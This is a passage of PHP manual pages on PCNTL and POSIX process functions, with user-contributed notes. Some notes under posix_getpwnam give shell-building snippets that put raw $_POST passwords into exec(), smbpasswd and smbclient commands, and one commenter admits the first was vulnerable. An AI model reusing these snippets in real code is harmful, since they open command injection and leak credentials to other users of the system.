        print "\n==> total elapsed: " . sprintf("%f secs.\n", $elapsed);
pcntl_wait
pcntl_wexitstatus
PCNTL Functions


Returns the return code of a terminated child

pcntl_waitpid
pcntl_wifexited
PCNTL Functions
PHP Manual

pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wexitstatus — Returns the return code of a terminated child

Description

int pcntl_wexitstatus ( int $status )

Returns the return code of a terminated child. This function is only useful if pcntl_wifexited() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the return code, as an integer.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wifexited() - Checks if status code represents a normal exit

User Contributed Notes

There are no user contributed notes for this page.
pcntl_waitpid
pcntl_wifexited
PCNTL Functions


Checks if status code represents a normal exit

pcntl_wexitstatus
pcntl_wifsignaled
PCNTL Functions
PHP Manual

pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifexited — Checks if status code represents a normal exit

Description

bool pcntl_wifexited ( int $status )

Checks whether the child status code represents a normal exit.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child status code represents a normal exit, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wexitstatus() - Returns the return code of a terminated child

User Contributed Notes

There are no user contributed notes for this page.
pcntl_wexitstatus
pcntl_wifsignaled
PCNTL Functions


Checks whether the status code represents a termination due to a signal

pcntl_wifexited
pcntl_wifstopped
PCNTL Functions
PHP Manual

pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal

Description

bool pcntl_wifsignaled ( int $status )

Checks whether the child process exited because of a signal which was not caught.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child process exited because of a signal which was not caught, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler

User Contributed Notes

There are no user contributed notes for this page.
pcntl_wifexited
pcntl_wifstopped
PCNTL Functions


Checks whether the child process is currently stopped

pcntl_wifsignaled
pcntl_wstopsig
PCNTL Functions
PHP Manual

pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifstopped — Checks whether the child process is currently stopped

Description

bool pcntl_wifstopped ( int $status )

Checks whether the child process which caused the return is currently stopped; this is only possible if the call to pcntl_waitpid() was done using the option WUNTRACED.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child process which caused the return is currently stopped, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

There are no user contributed notes for this page.
pcntl_wifsignaled
pcntl_wstopsig
PCNTL Functions


Returns the signal which caused the child to stop

pcntl_wifstopped
pcntl_wtermsig
PCNTL Functions
PHP Manual

pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wstopsig — Returns the signal which caused the child to stop

Description

int pcntl_wstopsig ( int $status )

Returns the number of the signal which caused the child to stop. This function is only useful if pcntl_wifstopped() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the signal number.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wifstopped() - Checks whether the child process is currently stopped

User Contributed Notes

There are no user contributed notes for this page.
pcntl_wifstopped
pcntl_wtermsig
PCNTL Functions


Returns the signal which caused the child to terminate

pcntl_wstopsig
POSIX
PCNTL Functions
PHP Manual

pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wtermsig — Returns the signal which caused the child to terminate

Description

int pcntl_wtermsig ( int $status )

Returns the number of the signal that caused the child process to terminate. This function is only useful if pcntl_wifsignaled() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the signal number, as an integer.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal

User Contributed Notes

There are no user contributed notes for this page.
pcntl_wstopsig
POSIX
PCNTL Functions


POSIX

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • POSIX Functions
    • posix_access — Determine accessibility of a file
    • posix_ctermid — Get path name of controlling terminal
    • posix_errno — Alias of posix_get_last_error
    • posix_get_last_error — Retrieve the error number set by the last posix function that failed
    • posix_getcwd — Pathname of current directory
    • posix_getegid — Return the effective group ID of the current process
    • posix_geteuid — Return the effective user ID of the current process
    • posix_getgid — Return the real group ID of the current process
    • posix_getgrgid — Return info about a group by group id
    • posix_getgrnam — Return info about a group by name
    • posix_getgroups — Return the group set of the current process
    • posix_getlogin — Return login name
    • posix_getpgid — Get process group id for job control
    • posix_getpgrp — Return the current process group identifier
    • posix_getpid — Return the current process identifier
    • posix_getppid — Return the parent process identifier
    • posix_getpwnam — Return info about a user by username
    • posix_getpwuid — Return info about a user by user id
    • posix_getrlimit — Return info about system resource limits
    • posix_getsid — Get the current sid of the process
    • posix_getuid — Return the real user ID of the current process
    • posix_initgroups — Calculate the group access list
    • posix_isatty — Determine if a file descriptor is an interactive terminal
    • posix_kill — Send a signal to a process
    • posix_mkfifo — Create a fifo special file (a named pipe)
    • posix_mknod — Create a special or ordinary file (POSIX.1)
    • posix_setegid — Set the effective GID of the current process
    • posix_seteuid — Set the effective UID of the current process
    • posix_setgid — Set the GID of the current process
    • posix_setpgid — Set process group id for job control
    • posix_setsid — Make the current process a session leader
    • posix_setuid — Set the UID of the current process
    • posix_strerror — Retrieve the system error message associated with the given errno
    • posix_times — Get process times
    • posix_ttyname — Determine terminal device name
    • posix_uname — Get system name

User Contributed Notes

docvert at holloway dot co dot nz 16-Jun-2008 05:45
I suggest changing the description of posix_times() from "Get process times" to "Get current process times" in order to follow the "current process" naming convention of the other functions.
pcntl_wtermsig
Introduction
Process Control Extensions


Introduction

This module contains an interface to those functions defined in the IEEE 1003.1 (POSIX.1) standards document which are not accessible through other means.

Warning

Sensitive data can be retrieved with the POSIX functions, e.g. posix_getpwnam() and friends. None of the POSIX function perform any kind of access checking when safe mode is enabled. It's therefore strongly advised to disable the POSIX extension at all (use --disable-posix in your configure line) if you're operating in such an environment.

Note: This extension is not available on Windows platforms.

User Contributed Notes

boogiebug at gmail dot com 24-Jul-2010 03:28
In case that you are running PHP on CentOS or other RHEL clone distro which the POSIX support is disabled by default, you will need the php-process package to enable it. Simply install it via the yum:

$> yum install php-process

and then restart the web server.
POSIX
Installing/Configuring
POSIX


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
POSIX


Installation

POSIX functions are enabled by default. You can disable POSIX-like functions with --disable-posix .

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

POSIX_F_OK (integer)
Check whether the file exists.
POSIX_R_OK (integer)
Check whether the file exists and has read permissions.
POSIX_W_OK (integer)
Check whether the file exists and has write permissions.
POSIX_X_OK (integer)
Check whether the file exists and has execute permissions.
POSIX_S_IFBLK (integer)
Block special file
POSIX_S_IFCHR (integer)
Character special file
POSIX_S_IFIFO (integer)
FIFO (named pipe) special file
POSIX_S_IFREG (integer)
Normal file
POSIX_S_IFSOCK (integer)
Socket

Note:

These constants are available since PHP 5.1.0. Please also note that some of them may not be available in your system.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
POSIX Functions
POSIX


POSIX Functions

See Also

The section about Process Control Functions maybe of interest for you.

Table of Contents

  • posix_access — Determine accessibility of a file
  • posix_ctermid — Get path name of controlling terminal
  • posix_errno — Alias of posix_get_last_error
  • posix_get_last_error — Retrieve the error number set by the last posix function that failed
  • posix_getcwd — Pathname of current directory
  • posix_getegid — Return the effective group ID of the current process
  • posix_geteuid — Return the effective user ID of the current process
  • posix_getgid — Return the real group ID of the current process
  • posix_getgrgid — Return info about a group by group id
  • posix_getgrnam — Return info about a group by name
  • posix_getgroups — Return the group set of the current process
  • posix_getlogin — Return login name
  • posix_getpgid — Get process group id for job control
  • posix_getpgrp — Return the current process group identifier
  • posix_getpid — Return the current process identifier
  • posix_getppid — Return the parent process identifier
  • posix_getpwnam — Return info about a user by username
  • posix_getpwuid — Return info about a user by user id
  • posix_getrlimit — Return info about system resource limits
  • posix_getsid — Get the current sid of the process
  • posix_getuid — Return the real user ID of the current process
  • posix_initgroups — Calculate the group access list
  • posix_isatty — Determine if a file descriptor is an interactive terminal
  • posix_kill — Send a signal to a process
  • posix_mkfifo — Create a fifo special file (a named pipe)
  • posix_mknod — Create a special or ordinary file (POSIX.1)
  • posix_setegid — Set the effective GID of the current process
  • posix_seteuid — Set the effective UID of the current process
  • posix_setgid — Set the GID of the current process
  • posix_setpgid — Set process group id for job control
  • posix_setsid — Make the current process a session leader
  • posix_setuid — Set the UID of the current process
  • posix_strerror — Retrieve the system error message associated with the given errno
  • posix_times — Get process times
  • posix_ttyname — Determine terminal device name
  • posix_uname — Get system name

User Contributed Notes

random832 at fastmail dot fm 13-Jun-2007 09:04
That is not part of POSIX, those are only present as you listed on linux systems - some other systems have a /proc with different things in it (sometimes stuff that's symbolic links on linux will be hardlinks, textfiles on linux will be binary, or different files with different information) or none at all
roberto at spadim dot com dot br 02-Oct-2006 09:36
don't forget that in posix systems you can use /proc/$process_id/
files:
auxv
cmdline
cwd
environ
exe
fd
maps
mem
mounts
root
stat
statm
status
task
wchan

with it you can make somethings like:

$PPID=getmypid();
$pid=pcntl_fork();
if ($pid==0){
while(1){
if (strpos(file_get_contents("/proc/$PPID/cmdline"),'php')===false) echo "parent pid die";
}

}else{
// forked
}

with this you can use some libs that block signal or some bad signal handling or zombies process or anything you can think :)
Predefined Constants
posix_access
POSIX


Determine accessibility of a file

POSIX Functions
posix_ctermid
POSIX Functions
PHP Manual

posix_access

(PHP 5 >= 5.1.0)

posix_access — Determine accessibility of a file

Description

bool posix_access ( string $file [, int $mode = POSIX_F_OK ] )

posix_access() checks the user's permission of a file.

Parameters

file

The name of the file to be tested.

mode

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_access() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
    echo 'The file is readable and writable!';

} else {
    $error = posix_get_last_error();

    echo "Error $error: " . posix_strerror($error);
}

?>

Notes

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed
  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

There are no user contributed notes for this page.
POSIX Functions
posix_ctermid
POSIX Functions


Get path name of controlling terminal

posix_access
posix_errno
POSIX Functions
PHP Manual

posix_ctermid

(PHP 4, PHP 5)

posix_ctermid — Get path name of controlling terminal

Description

string posix_ctermid ( void )

Generates a string which is the pathname for the current controlling terminal for the process. On error this will set errno, which can be checked using posix_get_last_error()

Return Values

Upon successful completion, returns string of the pathname to the current controlling terminal. Otherwise FALSE is returned and errno is set, which can be checked with posix_get_last_error().

Examples

Example #1 posix_ctermid() example

This example will display the path to the current TTY.

<?php
echo "I am running from ".posix_ctermid();
?>

See Also

  • posix_ttyname() - Determine terminal device name
  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

There are no user contributed notes for this page.
posix_access
posix_errno
POSIX Functions


Alias of posix_get_last_error

posix_ctermid
posix_get_last_error
POSIX Functions
PHP Manual

posix_errno

(PHP 4 >= 4.2.0, PHP 5)

posix_errno — Alias of posix_get_last_error()

Description

This function is an alias of: posix_get_last_error().

User Contributed Notes

There are no user contributed notes for this page.
posix_ctermid
posix_get_last_error
POSIX Functions


Retrieve the error number set by the last posix function that failed

posix_errno
posix_getcwd
POSIX Functions
PHP Manual

posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5)

posix_get_last_error — Retrieve the error number set by the last posix function that failed

Description

int posix_get_last_error ( void )

Retrieve the error number set by the last posix function that failed. The system error message associated with the errno may be checked with posix_strerror().

Return Values

Returns the errno (error number) set by the last posix function that failed. If no errors exist, 0 is returned.

Examples

Example #1 posix_get_last_error() example

This example attempt to kill a bogus process id, which will set the last error. We will then print out the last errno.

<?php
posix_kill(999459,SIGKILL);
echo 'Your error returned was '.posix_get_last_error(); //Your error was ___
?>

See Also

  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

There are no user contributed notes for this page.
posix_errno
posix_getcwd
POSIX Functions


Pathname of current directory

posix_get_last_error
posix_getegid
POSIX Functions
PHP Manual

posix_getcwd

(PHP 4, PHP 5)

posix_getcwd — Pathname of current directory

Description

string posix_getcwd ( void )

Gets the absolute pathname of the script's current working directory. On error, it sets errno which can be checked using posix_get_last_error()

Return Values

Returns a string of the absolute pathname on success. On error, returns FALSE and sets errno which can be checked with posix_get_last_error().

Examples

Example #1 posix_getcwd() example

This example will return the absolute path of the current working directory of the script.

<?php
echo 'My current working directory is '.posix_getcwd();
?>

Notes

Note:

This function can fail on

  • Read or Search permission was denied
  • Pathname no longer exists

User Contributed Notes

phpmanual-getcwd at devin dot com 26-Jul-2000 06:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.
posix_get_last_error
posix_getegid
POSIX Functions


Return the effective group ID of the current process

posix_getcwd
posix_geteuid
POSIX Functions
PHP Manual

posix_getegid

(PHP 4, PHP 5)

posix_getegid — Return the effective group ID of the current process

Description

int posix_getegid ( void )

Return the numeric effective group ID of the current process.

Return Values

Returns an integer of the effective group ID.

Examples

Example #1 posix_getegid() example

This example will print out the effective group id, once it is changed with posix_setegid().

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

Notes

posix_getegid() is different than posix_getgid() because effective group ID can be changed by a calling process using posix_setegid().

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.
posix_getcwd
posix_geteuid
POSIX Functions


Return the effective user ID of the current process

posix_getegid
posix_getgid
POSIX Functions
PHP Manual

posix_geteuid

(PHP 4, PHP 5)

posix_geteuid — Return the effective user ID of the current process

Description

int posix_geteuid ( void )

Return the numeric effective user ID of the current process. See also posix_getpwuid() for information on how to convert this into a useable username.

Return Values

Returns the user id, as an integer

Examples

Example #1 posix_geteuid() example

This example will show the current user id then set the effective user id to a separate id using posix_seteuid(), then show the difference between the real id and the effective id.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_seteuid(10000);
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10000
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • posix_getuid() - Return the real user ID of the current process
  • posix_setuid() - Set the UID of the current process
  • POSIX man page GETEUID(2)

User Contributed Notes

There are no user contributed notes for this page.
posix_getegid
posix_getgid
POSIX Functions


Return the real group ID of the current process

posix_geteuid
posix_getgrgid
POSIX Functions
PHP Manual

posix_getgid

(PHP 4, PHP 5)

posix_getgid — Return the real group ID of the current process

Description

int posix_getgid ( void )

Return the numeric real group ID of the current process.

Return Values

Returns the real group id, as an integer.

Examples

Example #1 posix_getgid() example

This example will print out the real group id, even once the effective group id has been changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getegid() - Return the effective group ID of the current process
  • posix_setgid() - Set the GID of the current process
  • POSIX man page GETGID(2)

User Contributed Notes

vector from ionisis.com 14-Oct-2011 05:07
i came across this error:
Call to undefined function posix_getuid()

which was solved by these commands:
yum -y install php-process
service httpd restart
posix_geteuid
posix_getgrgid
POSIX Functions


Return info about a group by group id

posix_getgid
posix_getgrnam
POSIX Functions
PHP Manual

posix_getgrgid

(PHP 4, PHP 5)

posix_getgrgid — Return info about a group by group id

Description

array posix_getgrgid ( int $gid )

Gets information about a group provided its id.

Parameters

gid

The group id.

Return Values

The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID, should be the same as the gid parameter used when calling the function, and hence redundant.
members | This consists of an array of string's for all the members in the group.

Changelog

Version | Description
4.2.0 | Prior to this version, members was simply an integer representing the number of members in the group, and the member names were returned with numerical indices.

Examples

Example #1 Example use of posix_getgrgid()

<?php

$groupid   = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrnam() - Return info about a group by name
  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • safe_mode_gid
  • POSIX man page GETGRNAM(3)

User Contributed Notes

cweiske at php dot net 10-May-2009 07:50
When posix_getgrgid() fails (e.g. an invalid/unknown group id), it returns false.
This is except for Mac OSX on which you get an array with name "nogroup" and gid of "-1".
james at jfc dot org dot uk 16-Apr-2003 11:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au 13-May-2002 06:27
okies...

This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
    {
    $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
    $fp = fopen ("/etc/group","r");
    while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
        {
        list ($name, $groupID, $nfi) = $groupinfo;
        if ($groupID == $gid)
            {
            $returnval = $name;
            }
        }
    fclose($fp);
    if($returnval) { return $returnval; } else { return 0; }
    }
rcgraves+php at brandeis dot edu 21-Feb-2000 06:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:

$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group
posix_getgid
posix_getgrnam
POSIX Functions


Return info about a group by name

posix_getgrgid
posix_getgroups
POSIX Functions
PHP Manual

posix_getgrnam

(PHP 4, PHP 5)

posix_getgrnam — Return info about a group by name

Description

array posix_getgrnam ( string $name )

Gets information about a group provided its name.

Parameters

name

The name of the group

Return Values

The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name. This should be the same as the name parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID of the group in numeric form.
members | This consists of an array of string's for all the members in the group.

Changelog

Version | Description
4.2.0 | Prior to this version, members was simply an integer representing the number of members in the group, and the member names were returned with numerical indices.

Examples

Example #1 Example use of posix_getgrnam()

<?php

$groupinfo = posix_getgrnam("toons");

print_r($groupinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrgid() - Return info about a group by group id
  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • safe_mode_gid
  • POSIX man page GETGRNAM(3)

User Contributed Notes

marques at displague dot com 02-Apr-2009 06:12
This function returns 'false' if the group is not found.
posix_getgrgid
posix_getgroups
POSIX Functions


Return the group set of the current process

posix_getgrnam
posix_getlogin
POSIX Functions
PHP Manual

posix_getgroups

(PHP 4, PHP 5)

posix_getgroups — Return the group set of the current process

Description

array posix_getgroups ( void )

Gets the group set of the current process.

Return Values

Returns an array of integers containing the numeric group ids of the group set of the current process.

Examples

Example #1 Example use of posix_getgroups()

<?php

$groups = posix_getgroups();

print_r($groups);
?>

The above example will output something similar to:

Array
(
    [0] => 4
    [1] => 20
    [2] => 24
    [3] => 25
    [4] => 29
    [5] => 30
    [6] => 33
    [7] => 44
    [8] => 46
    [9] => 104
    [10] => 109
    [11] => 110
    [12] => 1000
)

See Also

  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.
posix_getgrnam
posix_getlogin
POSIX Functions


Return login name

posix_getgroups
posix_getpgid
POSIX Functions
PHP Manual

posix_getlogin

(PHP 4, PHP 5)

posix_getlogin — Return login name

Description

string posix_getlogin ( void )

Returns the login name of the user owning the current process.

Return Values

Returns the login name of the user, as a string.

Examples

Example #1 Example use of posix_getlogin()

<?php
echo posix_getlogin(); //apache
?>

See Also

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETLOGIN(3)

User Contributed Notes

philip 09-Feb-2004 06:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.
posix_getgroups
posix_getpgid
POSIX Functions


Get process group id for job control

posix_getlogin
posix_getpgrp
POSIX Functions
PHP Manual

posix_getpgid

(PHP 4, PHP 5)

posix_getpgid — Get process group id for job control

Description

int posix_getpgid ( int $pid )

Returns the process group identifier of the process pid or FALSE on failure.

Parameters

pid

The process id.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getpgid()

<?php
$pid = posix_getppid();
echo posix_getpgid($pid); //35
?>

Notes

Note:

This is a not POSIX function, but is common on BSD and System V systems. If the system does not support this function, then it will not be included at compile time. This may be checked with function_exists().

See Also

  • posix_getppid() - Return the parent process identifier
  • man page SETPGID(2)

User Contributed Notes

There are no user contributed notes for this page.
posix_getlogin
posix_getpgrp
POSIX Functions


Return the current process group identifier

posix_getpgid
posix_getpid
POSIX Functions
PHP Manual

posix_getpgrp

(PHP 4, PHP 5)

posix_getpgrp — Return the current process group identifier

Description

int posix_getpgrp ( void )

Return the process group identifier of the current process.

Return Values

Returns the identifier, as an integer.

See Also

  • POSIX.1 and the getpgrp(2) manual page on the POSIX system for more information on process groups.

User Contributed Notes

There are no user contributed notes for this page.
posix_getpgid
posix_getpid
POSIX Functions


Return the current process identifier

posix_getpgrp
posix_getppid
POSIX Functions
PHP Manual

posix_getpid

(PHP 4, PHP 5)

posix_getpid — Return the current process identifier

Description

int posix_getpid ( void )

Return the process identifier of the current process.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getpid()

<?php
echo posix_getpid(); //8805
?>

See Also

  • posix_kill() - Send a signal to a process
  • POSIX man page GETPID(2)

User Contributed Notes

Yzmir Ramirez 14-Jul-2011 03:42
You can also try using getmypid() instead.
zapolski at gmail dot com 14-Sep-2010 07:13
In order to use posix_getpid on Fedeora 11 and up you have to install php-process

# yum install php-process
andy at haveland dot com 28-Feb-2010 12:09
Since upgrading fedora 10 to 12, I discovered that posix_getpid() disappeared and not compiled in by default, as it specifies here.

It turns out that it had been moved into package php-process.

Just do "yum install php-process", and all should be sweet again.

Hope this saves someone half an hour of research.
posix_getpgrp
posix_getppid
POSIX Functions


Return the parent process identifier

posix_getpid
posix_getpwnam
POSIX Functions
PHP Manual

posix_getppid

(PHP 4, PHP 5)

posix_getppid — Return the parent process identifier

Description

int posix_getppid ( void )

Return the process identifier of the parent process of the current process.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getppid()

<?php
echo posix_getppid(); //8259
?>

User Contributed Notes

There are no user contributed notes for this page.
posix_getpid
posix_getpwnam
POSIX Functions


Return info about a user by username

posix_getppid
posix_getpwuid
POSIX Functions
PHP Manual

posix_getpwnam

(PHP 4, PHP 5)

posix_getpwnam — Return info about a user by username

Description

array posix_getpwnam ( string $username )

Returns an array of information about the given user.

Parameters

username

An alphanumeric username.

Return Values

On success an array with the following elements is returned, else FALSE is returned:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name. This should be the same as the username parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID of the user in numeric form.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

Examples

Example #1 Example use of posix_getpwnam()

<?php

$userinfo = posix_getpwnam("tom");

print_r($userinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [geocs]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

See Also

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETPWNAM(3)

User Contributed Notes

Didar Hossain 19-Sep-2007 03:05
My original code is an example of stupid code leading to a security vulnerability. The username and password can be viewed using the *NIX command `ps'.

Here is a better approach:

<?php
 $desc = array(
                0 => array("pipe","r"),
                1 => array("pipe","w"),
                2 => array("file","/tmp/error.out","a")
        );

        $proc = proc_open('/opt/webpanel/bin/pam_auth -o -1',$desc, $pipes);

        if (is_resource($proc)) {
                fwrite($pipes[0],$_POST['usr']);
                fwrite($pipes[0]," ");
                fwrite($pipes[0],$_POST['pass']);
                fwrite($pipes[0],"\n");
                fclose($pipes[0]);
                echo stream_get_contents($pipes[1]);
                fclose($pipes[1]);
        }
        $retval = proc_close($proc);
?>

Example code is mostly a verbatim copy from the proc_open() page.

http://php.net/manual/en/function.proc-open.php
Didar Hossain 06-Aug-2006 06:50
Okay, this is a DIRTY HACK that I came up with

I am not a regular coder, so please weigh the relevant security considerations

<?php
$cmdstr = 'echo ' . $_POST['user'] . ' ' . $_POST['pass'];
$cmdstr .= ' | /home/didar/pam_auth -n common-auth ';

exec($cmdstr,$read);

if (strstr($read[0],"OK")) {
      echo "Success";
} else {
      echo "Failed";
}
?>

The code above makes use of the "pam_auth" or "squid_pam_auth" helper program from Squid package. Go to the following link for more information about it -

http://devel.squid-cache.org/hno/pam_auth-2.0.txt

WARNING: This is simply a hack. Always USE SSL/TLS in the orignating submit form. Also, always do sanity checks on the user input data.
bau at kg-fds dot de 18-Feb-2006 09:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumgärtner
bau at kg-fds dot de 18-Feb-2006 09:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumgärtner
bau at kg-fds dot de 14-Feb-2006 11:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net 17-Oct-2004 04:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
marcus at nospamsynchromedia dot co dot uk 23-Aug-2002 01:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr 18-Apr-2002 08:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com 20-Nov-2001 11:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net 17-Oct-2001 10:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

